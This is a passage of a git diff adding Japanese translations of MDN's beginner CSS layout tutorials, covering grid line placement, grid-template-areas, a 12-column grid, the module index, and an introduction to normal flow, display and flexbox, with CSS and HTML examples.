<li>{{cssxref("grid-column-end")}}</li> + <li>{{cssxref("grid-row-start")}}</li> + <li>{{cssxref("grid-row-end")}}</li> +</ul> + +<p>これらのプロパティはすべて値としてライン番号を持つことができます。 次の一括指定プロパティを使用することもできます。</p> + +<ul> + <li>{{cssxref("grid-column")}}</li> + <li>{{cssxref("grid-row")}}</li> +</ul> + +<p>これにより、開始ラインと終了ラインを <code>/</code> （スラッシュ文字）で区切って一度に指定できます。</p> + +<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/8-placement-starting-point.html">出発点としてこのファイルをダウンロードする</a>か、<a href="https://mdn.github.io/learning-area/css/css-layout/grids/8-placement-starting-point.html">ここにあるライブを見てください</a>。 それはすでに定義されたグリッドを持ち、そして簡単な記事が概説されています。 自動配置により、作成したグリッドの各セルに項目を1つずつ配置していることがわかります。</p> + +<p>代わりに、グリッドラインを使用して、サイトのすべての要素をグリッドに配置します。 CSS の最後に次の規則を追加してください。</p> + +<pre class="brush: css notranslate">header { + grid-column: 1 / 3; + grid-row: 1; +} + +article { + grid-column: 2; + grid-row: 2; +} + +aside { + grid-column: 1; + grid-row: 2; +} + +footer { + grid-column: 1 / 3; + grid-row: 3; +}</pre> + +<div id="Grid_6"> +<div class="hidden"> +<h6 id="Line-based_placement_2">Line-based placement</h6> + +<pre class="brush: css notranslate"> body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; + } + + .container { + display: grid; + grid-template-columns: 1fr 3fr; + grid-gap: 20px; + } +header { + grid-column: 1 / 3; + grid-row: 1; +} + +article { + grid-column: 2; + grid-row: 2; +} + +aside { + grid-column: 1; + grid-row: 2; +} + +footer { + grid-column: 1 / 3; + grid-row: 3; +} + +header, +footer { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + +aside { + border-right: 1px solid #999; +} +</pre> + +<pre class="brush: html notranslate"><div class="container"> + <header>This is my lovely blog</header> + <article> + <h1>My article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside> + <h2>Other things</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contact me@mysite.com</footer> +</div> </pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Grid_6', '100%', 400) }}</p> + +<div class="note"> +<p><strong>注</strong>: 終点の列または行のラインをターゲットとして値 <code>-1</code> を使用し、負の値を使用して終点から内側に向かって数えることもできます。 しかしこれは明示的グリッドに対してのみ有効です。 値 <code>-1</code> は、<a href="/ja/docs/Glossary/Grid">暗黙的グリッド</a>の終点のラインをターゲットにしません。</p> +</div> + +<h2 id="Positioning_with_grid-template-areas" name="Positioning_with_grid-template-areas">grid-template-areas での配置</h2> + +<p>項目をグリッドに配置する別の方法は、{{cssxref("grid-template-areas")}} プロパティを使用して、デザインのさまざまな要素に名前を付けることです。</p> + +<p>最後の例からラインベースの配置を削除して（またはファイルを再ダウンロードして新しい出発点にして）、次の CSS を追加します。</p> + +<pre class="brush: css notranslate">.container { + display: grid; + grid-template-areas: + "header header" + "sidebar content" + "footer footer"; + grid-template-columns: 1fr 3fr; + grid-gap: 20px; +} + +header { + grid-area: header; +} + +article { + grid-area: content; +} + +aside { + grid-area: sidebar; +} + +footer { + grid-area: footer; +}</pre> + +<p>ページをリロードすると、ライン番号を使用しなくても項目が以前と同じように配置されたことがわかります！</p> + +<div id="Grid_7"> +<div class="hidden"> +<h6 id="Line-based_placement_3">Line-based placement</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +header, +footer { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + +aside { + border-right: 1px solid #999; +} + +.container { + display: grid; + grid-template-areas: + "header header" + "sidebar content" + "footer footer"; + grid-template-columns: 1fr 3fr; + grid-gap: 20px; +} + +header { + grid-area: header; +} + +article { + grid-area: content; +} + +aside { + grid-area: sidebar; +} + +footer { + grid-area: footer; +} + </pre> + +<pre class="brush: html notranslate"><div class="container"> + <header>This is my lovely blog</header> + <article> + <h1>My article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside><h2>Other things</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contact me@mysite.com</footer> +</div> </pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Grid_7', '100%', 400) }}</p> + +<p><code>grid-template-area</code> の規則は次のとおりです。</p> + +<ul> + <li>グリッドのすべてのセルを塗りつぶす必要があります。</li> + <li>2つのセルにまたがるようにするには、名前を繰り返します。</li> + <li>セルを空のままにするには、<code>.</code> （ピリオド）を使用します。</li> + <li>領域は長方形である必要があります。 例えば、L字型の領域を持つことはできません。</li> + <li>領域は異なる場所で繰り返すことはできません。</li> +</ul> + +<p>あなたは私たちのレイアウトで遊ぶことができます。 例えば、フッターをコンテンツの下にだけあるように変更し、サイドバーをずっと下に広げるように変更できます。 これは、何が起こっているのかが CSS から明らかなので、レイアウトを記述するためのとても良い方法です。</p> + +<h2 id="A_CSS_Grid_grid_framework" name="A_CSS_Grid_grid_framework">CSS グリッド、グリッドフレームワーク</h2> + +<p>グリッドの「フレームワーク」は、12列または16列のグリッドと CSS グリッドを基にし、そのようなフレームワークを提供するためにサードパーティ製ツールを必要としません — すでに仕様にあります。</p> + +<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/11-grid-system-starting-point.html">出発点ファイルをダウンロードしてください</a>。 これには、12列のグリッドが定義されたコンテナと、前の2つの例で使用したのと同じマークアップが含まれています。 ラインベースの配置を使用して、次のようにコンテンツを12列のグリッドに配置できます。</p> + +<pre class="brush: css notranslate">header { + grid-column: 1 / 13; + grid-row: 1; +} + +article { + grid-column: 4 / 13; + grid-row: 2; +} + +aside { + grid-column: 1 / 4; + grid-row: 2; +} + +footer { + grid-column: 1 / 13; + grid-row: 3; +}</pre> + +<div id="Grid_8"> +<div class="hidden"> +<h6 id="A_CSS_Grid_Grid_System">A CSS Grid Grid System</h6> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container { + display: grid; + grid-template-columns: repeat(12, minmax(0,1fr)); + grid-gap: 20px; +} + +header { + grid-column: 1 / 13; + grid-row: 1; +} + +article { + grid-column: 4 / 13; + grid-row: 2; +} + +aside { + grid-column: 1 / 4; + grid-row: 2; +} + +footer { + grid-column: 1 / 13; + grid-row: 3; +} + +header, +footer { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + +aside { + border-right: 1px solid #999; +} + </pre> + +<pre class="brush: html notranslate"><div class="container"> + <header>This is my lovely blog</header> + <article> + <h1>My article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside><h2>Other things</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contact me@mysite.com</footer> +</div> + </pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Grid_8', '100%', 400) }}</p> + +<p><a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox のグリッドインスペクタ</a>を使用してデザイン上のグリッドラインをオーバーレイすると、12列グリッドがどのように機能するかがわかります。</p> + +<p><img alt="私たちのデザインの上に重ねられた12列のグリッド。" src="https://mdn.mozillademos.org/files/16045/learn-grids-inspector.png" style="height: 1026px; width: 2028px;"></p> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？次に移動する前に、この情報を保持しているか検証するテストがあります — <a href="/ja/docs/Learn/CSS/CSS_layout/Grid_skills">Test your skills: Grids</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この概要では、CSS グリッドレイアウトの主な機能について説明しました。 あなたのデザインでそれを使い始めることができるはずです。 仕様をさらに深く掘り下げるには、以下にあるグリッドレイアウトのガイドを読んでください。</p> + +<h2 id="See_Also" name="See_Also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/CSS/CSS_Grid_Layout#Guides">CSS グリッドのガイド</a></li> + <li><a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">CSS グリッドインスペクター: グリッドレイアウトを調査する</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/index.html b/files/ja/learn/css/css_layout/index.html new file mode 100644 index 0000000000..419de7d135 --- /dev/null +++ b/files/ja/learn/css/css_layout/index.html @@ -0,0 +1,80 @@ +--- +title: CSS レイアウト +slug: Learn/CSS/CSS_layout +tags: + - Beginner + - CSS + - Floating + - Grids + - Guide + - Landing + - Layout + - Learn + - Module + - Multiple column + - Positioning + - alignment + - flexbox + - float + - table +translation_of: Learn/CSS/CSS_layout +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">現段階で、すでに CSS の基本、テキストの装飾方法、コンテンツを格納するボックスの装飾方法と操作方法を見てきました。 今度は、ビューポートや互いを基準にしてボックスを適切な場所に配置する方法を検討します。 必要な前提知識をカバーしているので、さまざまな <code>display</code> の設定、フレックスボックス・CSS グリッド・位置指定などの最新のレイアウトツール、そしてまだ知っておきたいと思うかもしれない過去のテクニックのいくつかを見ながら、CSS レイアウトについて深く掘り下げることができます。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提知識</h2> + +<p>このモジュールを始める前に、次のことを理解しているべきです。</p> + +<ol> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>で説明したように、HTML についての基本的な知識があること。</li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>で説明したように、CSS の基本を容易にこなせること。</li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes">ボックスを装飾する方法</a>を理解していること。</li> +</ol> + +<div class="note"> +<p><strong>注: </strong>使用しているコンピューター/タブレット/その他のデバイスで自分のファイルを作成できない場合は、<a href="http://jsbin.com/">JSBin</a> や <a href="https://thimble.mozilla.org/ja/">Thimble</a> などのオンラインコーディングプログラムで（ほとんどの）コードサンプルを試すことができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<p>これらの記事では、CSS で利用可能な基本的なレイアウトのツールとテクニックについての教育を提供します。 レッスンの最後には、ウェブページをレイアウトすることによって、レイアウト方法の理解を確認するのに役立つ評価試験があります。</p> + +<dl> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></dt> + <dd>この記事では、以前のモジュールで既に触れた CSS レイアウト機能のいくつか（さまざまな {{cssxref("display")}} の値など）を要約し、このモジュール全体で取り上げるいくつかの概念を紹介します。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></dt> + <dd>ウェブページ上の要素は、通常フローを変えるために何かをするまで、通常フローに従ってレイアウトされます。 この記事では、通常フローを変える方法を学ぶための基礎として、通常フローの基本について説明します。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></dt> + <dd> + <p><a href="/ja/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">フレックスボックス</a>は、項目を行または列にレイアウトするための1次元のレイアウト方法です。 項目は追加のスペースを埋めるためにたわみ、小さいスペースに収まるように縮小します。 この記事では、すべての基本事項について説明します。</p> + </dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></dt> + <dd>CSS グリッドレイアウトは、ウェブ用の2次元レイアウトシステムです。 これにより、コンテンツを行と列にレイアウトすることができ、複雑なレイアウトを簡単に構築できるようにする多くの機能があります。 この記事では、ページレイアウトを始めるために知っておくべきことをすべて説明します。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></dt> + <dd>{{cssxref("float")}} プロパティは、もともとはテキストブロック内の浮動画像のためのものでしたが、ウェブページ上に複数列レイアウトを作成するために最も一般的に使われるツールの1つになりました。 この記事で説明しているように、フレックスボックスとグリッドの出現により、今は当初の目的に戻っています。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></dt> + <dd>位置指定を使用すると、通常のドキュメントレイアウトフローから要素を取り出して異なるふるまいをさせることができます。 例えば、互いの上に重なったり、常にブラウザーのビューポート内の同じ場所に留まったりします。 この記事では、さまざまな {{cssxref("position")}} の値とその使い方について説明します。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></dt> + <dd>段組みレイアウトの仕様では、新聞に見られるような、コンテンツを段にレイアウトする方法が提供されています。 この記事では、この機能の使い方について説明します。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></dt> + <dd>Web 対応デバイスでより多様な画面サイズが登場するにつれて、レスポンシブ Web デザイン（RWD）の概念が登場しました。 これは、さまざまな画面幅、解像度などに合わせて Web ページがレイアウトと外観を変更できるようにする一連の実践です。 これは、マルチデバイス Web 向けのデザイン方法を変更したアイデアであり、この記事では、それをマスターするために知っておくべき主なテクニックを理解するのに役立ちます。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></dt> + <dd><strong>CSS メディアクエリー</strong>を使用すると、例えば、「ビューポートは 480 ピクセルよりも広い」というような、ブラウザーとデバイスの環境が指定した規則に一致する場合にのみ CSS を適用できます。 メディアクエリーは、ビューポートのサイズに応じて異なるレイアウトを作成できるため、レスポンシブ Web デザイン（responsive web design、RWD）の重要な部分ですが、例えば、ユーザーはマウスではなくタッチスクリーンを使用しているというような、サイトが実行されている環境に関する他のものを検出するためにも使用できます。 このレッスンでは、最初にメディアクエリーで使用される構文について学習し、次に単純なデザインでどのようにレスポンシブにするかを示す実際の例で使用してみます。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></dt> + <dd>グリッドシステムは CSS レイアウトで使用される非常に一般的な機能で、CSS グリッドレイアウト以前はフロートや他のレイアウト機能を使用して実装される傾向がありました。 あなたはレイアウトをいくつかの列（例えば 4、6、または 12）として想像し、そしてコンテンツの列をこれらの想像上の列の内側に合わせます。 この記事では、古いプロジェクトで作業した場合に、それらがどう使われたかを理解するために、これらの古い方法がどのように機能するのかを説明します。</dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザのサポート</a></dt> + <dd> + <p>このモジュールでは、フレックスボックスとグリッドをデザインの主なレイアウト方法として使用することをお勧めしています。 しかしながら、サイトへの訪問者には、古いブラウザーや、使用している方法をサポートしていないブラウザーを使用している人がいます。 これはウェブ上で常に当てはまります — 新しい機能が開発されると、ブラウザーによって異なるものが優先されます。 この記事では、古い技術のユーザーを締め出すことなく最新のウェブテクニックを使用する方法について説明します。</p> + </dd> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">評価試験: 基礎的なレイアウトの理解</a></dt> + <dd>ウェブページをレイアウトすることによって、さまざまなレイアウト方法に関する知識をテストするための評価試験です。</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="/ja/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">実用的な位置指定の例</a></dt> + <dd>この記事では、位置指定でどのようなことができるかを説明するために、実際に使用されるいくつかの例を作成する方法を示します。</dd> +</dl> diff --git a/files/ja/learn/css/css_layout/introduction/index.html b/files/ja/learn/css/css_layout/introduction/index.html new file mode 100644 index 0000000000..3425a29729 --- /dev/null +++ b/files/ja/learn/css/css_layout/introduction/index.html @@ -0,0 +1,720 @@ +--- +title: CSS レイアウト入門 +slug: Learn/CSS/CSS_layout/Introduction +tags: + - Article + - Beginner + - CSS + - Floats + - Grids + - Introduction + - Layout + - Learn + - Positioning + - Tables + - flexbox + - flow +translation_of: Learn/CSS/CSS_layout/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary">この記事では、以前のモジュールで既に触れた CSS レイアウト機能のいくつか（さまざまな {{cssxref("display")}} の値など）を要約し、このモジュール全体で取り上げるいくつかの概念を紹介します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基礎（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>CSS ページレイアウトのテクニックの概要を説明します。 各テクニックは、以降のチュートリアルで詳細に学ぶことができます。</td> + </tr> + </tbody> +</table> + +<p>CSS のページレイアウト技術によって、ウェブページに含まれる要素の位置を制御できます。通常のレイアウトフローによる初期配置、隣接する要素、それらの親コンテナ、またはメインビューポート、ウィンドウの位置、といったものが位置を制御する基準になりえます。 このモジュールでは次に挙げるページレイアウト技術の詳細について説明します。</p> + +<ul> + <li>通常フロー</li> + <li>{{cssxref("display")}} プロパティ</li> + <li>フレックスボックス</li> + <li>グリッド</li> + <li>フロート</li> + <li>位置指定</li> + <li>表レイアウト</li> + <li>段組みレイアウト</li> +</ul> + +<p>どの技術にも、それぞれ用途、長所、短所があり、単独で使用するようには設計されていません。 ひとつひとつの技術がどのように設計されているかを理解することは、それぞれのタスクに最適なレイアウト方法を判断するための基礎になるでしょう。</p> + +<h2 id="Normal_flow" name="Normal_flow">通常フロー</h2> + +<p>通常フロー（Normal flow）は、ページレイアウトの制御を何もしない場合に、ブラウザーがデフォルトで HTML ページをレイアウトする方法です。 次の簡単な HTML の例を見てみましょう。</p> + +<pre class="brush: html"><p>I love my cat.</p> + +<ul> + <li>Buy cat food</li> + <li>Exercise</li> + <li>Cheer up friend</li> +</ul> + +<p>The end!</p></pre> + +<p>デフォルトでは、ブラウザーはこのコードを次のように表示します。</p> + +<p>{{ EmbedLiveSample('Normal_flow', '100%', 200) }}</p> + +<p>ここでは、HTML がソースコードに現れる順序どおりに表示されていることに注意してください — 最初の段落の後に番号なしリストが続き、その後に2番目の段落が続きます。</p> + +<p>上下に並んで表示される要素は<em>ブロック</em>要素と呼ばれています。段落内の個々の単語と同じように横に並んで表示される<em>インライン</em>要素とは対照的です。</p> + +<div class="note"> +<p><strong>注</strong>: ブロック要素のコンテンツがレイアウトされる方向は、ブロック方向（Block Direction）と呼ばれます。 ブロック方向は、英語などの横書きモード（Horizontal Writing Mode）の言語では垂直に走ります。 日本語のような縦書きモード（Vertical Writing Mode）では、どの言語でも水平に走ります。 対応するインライン方向（Inline Direction）は、インラインコンテンツ（文など）が走る方向です。</p> +</div> + +<p>CSSで何かをレイアウトするとその要素を通常フローから遠ざけることになりますが、ページ上の多くの要素は通常フローにしたがって適宜レイアウトされます。これが、構造化された HTML 文書から始めることが非常に重要である理由です。 なぜなら、多くの要素のレイアウトに一から悪戦苦闘するかわりに、あらかじめ多くのものがレイアウトされている現状で作業できるからです。</p> + +<p>CSS で要素をどのように配置するかを変更できる方法は次のとおりです。</p> + +<ul> + <li><strong>{{cssxref("display")}} プロパティ</strong> — <code>block</code>、<code>inline</code>、<code>inline-block</code> などの標準値は、要素が通常フローでどのようにふるまうかを変更することができます（詳細については、<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">CSS ボックスの種類</a>を参照してください）。それから、<a href="/ja/docs/Learn/CSS/CSS_layout/Grids">CSS グリッド</a>や<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a>のように、<code>display</code> の値によってオンにされるレイアウト方法全体があります。</li> + <li><strong>フロート</strong> — <code>left</code> のような {{cssxref("float")}} の値を適用すると、雑誌のレイアウトで画像の周囲をテキストが取り囲むことがあるように、要素の片側に沿ってブロックレベル要素が折り返されることがあります。</li> + <li><strong>{{cssxref("position")}} プロパティ</strong> — 他のボックス内のボックスの配置を正確に制御できます。 通常フローでは <code>static</code> 位置指定がデフォルトですが、他の値を使用して要素を異なる方法でレイアウトすることもできます。 例えば、ブラウザーのビューポートの左上に固定するなどです。</li> + <li><strong>表レイアウト</strong> — HTML 表の一部をスタイルするために設計された機能は、<code>display: table</code> とそれに関連するプロパティを使用して、表以外の要素にも使用できます。</li> + <li><strong>段組みレイアウト</strong> — <a href="/ja/docs/Web/CSS/CSS_Columns">段組みレイアウト</a>のプロパティを使用すると、新聞のようにブロックのコンテンツを段組みにレイアウトできます。</li> +</ul> + +<h2 id="The_display_property" name="The_display_property">display プロパティ</h2> + +<p>CSS でページレイアウトを実現するための主な方法は、<code>display</code> プロパティのすべての値です。 このプロパティにより、デフォルトの表示方法を変更することができます。 通常フローに属するすべての要素には <code>display</code> の値が設定されており、この値によって要素のデフォルトのふるまいが決まります。 例えば、英語の文書内で{{htmlelement("p", "段落")}}が上から下へ表示されるのは、<code>display: block</code> でスタイルが設定されているためです。 段落内のテキストの周囲にリンクを作成しても、そのリンクは残りのテキストとインラインのままで、改行しません。 これは、{{htmlelement("a")}} 要素がデフォルトで <code>display: inline</code> であるためです。</p> + +<p>このような display のデフォルトのふるまいは変更できます。 例えば、{{htmlelement("li")}} 要素はデフォルトで <code>display: block</code> です。 つまり、英語の文書ではリスト項目は上下に表示されます。 <code>display</code> の値を <code>inline</code> に変更した場合、単語が文中で行うように、それらは互いに隣接して表示されます。 任意の要素に対して <code>display</code> の値を変更できるということは、どのように見えるかについて心配することなく、<ruby>意味論的<rp>(</rp><rt>semantic</rt><rp>)</rp></ruby>な視点で HTML 要素を選択できるということです。 見た目はあなたが変えることができるものです。</p> + +<p>ひとつの項目を <code>block</code> から <code>inline</code> に、またはその逆に切り替えてデフォルトの表示方法を変更することに加えて、より大きい単位で作用するいくつかのレイアウト手法を <code>display</code> の値を通じて使い始めることができます。 ただし、これらを使用するときは、通常、追加のプロパティを指定する必要があります。 要素のレイアウトを検討する目的において最も重要な値は <code>display: flex</code> と <code>display: grid</code> の2つです。</p> + +<h2 id="Flexbox" name="Flexbox">フレックスボックス</h2> + +<p>フレックスボックス（Flexbox）は <a href="/ja/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexible Box Layout</a> Module の略称で、行または列のいずれかとして、物を1次元にレイアウトすることを容易にするように設計されています。 フレックスボックスを使うには、<code>display: flex</code> をレイアウトしたい要素の親要素に適用します。 その直接の子はすべてフレックス項目になります。これは簡単な例で見ることができます。</p> + +<p>以下の HTML マークアップは、3つの {{htmlelement("div")}} 要素が入っている <code>wrapper</code> クラスを持つ包含要素を示しています。 デフォルトでは、これらは英語の文書では上下にブロック要素として表示されます。</p> + +<p>ただし、<code>display: flex</code> を親に追加すると、3つの項目は列に配置されます。 これは、それらが<em>フレックス項目</em>になり、フレックスボックスがそれらに与えるいくつかの初期値を使用するためです。 {{cssxref("flex-direction")}} の初期値は <code>row</code> なので、行として表示されます。 {{cssxref("align-items")}} プロパティの初期値は <code>stretch</code> であるため、それらはすべて最も高い項目の高さまで伸びているように見えます。 これは、項目がフレックスコンテナの高さまで伸びることを意味します。 この場合、項目は最も高い項目によって定義されます。 項目はすべてコンテナの先頭に配置され、行の末尾に余分なスペースが残ります。</p> + +<div id="Flex_1"> +<div class="hidden"> +<h6 id="Flexbox_Example_1">Flexbox Example 1</h6> + +<pre class="brush: css">* {box-sizing: border-box;} + +.wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} + </pre> +</div> + +<pre class="brush: css">.wrapper { + display: flex; +} +</pre> + +<pre class="brush: html"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Flex_1', '300', '200') }}</p> + +<p>フレックスコンテナに適用できる上記のプロパティに加えて、フレックス項目に適用できるプロパティがあります。 これらのプロパティは、とりわけ、項目のたわみ方を変えることができ、利用可能なスペースに収まるように項目を拡大および縮小することを可能にします。</p> + +<p>この単純な例として、すべての子項目に <code>1</code> の値の {{cssxref("flex")}} プロパティを追加できます。 これにより、末尾にスペースを残すのではなく、すべての項目が拡大してコンテナがいっぱいになります。 より多くのスペースがあるならば、項目はより広くなり、スペースが少ないと狭くなります。 さらに、マークアップに別の要素を追加すると、項目はすべてスペースを空けるために小さくなります — サイズに関係なく、同じ大きさのスペースを占めるようにサイズが調整されます。</p> + +<div id="Flex_2"> +<div class="hidden"> +<h6 id="Flexbox_Example_2">Flexbox Example 2</h6> + +<pre class="brush: css"> * {box-sizing: border-box;} + + .wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + } + </pre> +</div> + +<pre class="brush: css">.wrapper { + display: flex; +} + +.wrapper > div { + flex: 1; +} +</pre> + +<pre class="brush: html"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> +</div> +</pre> +</div> + 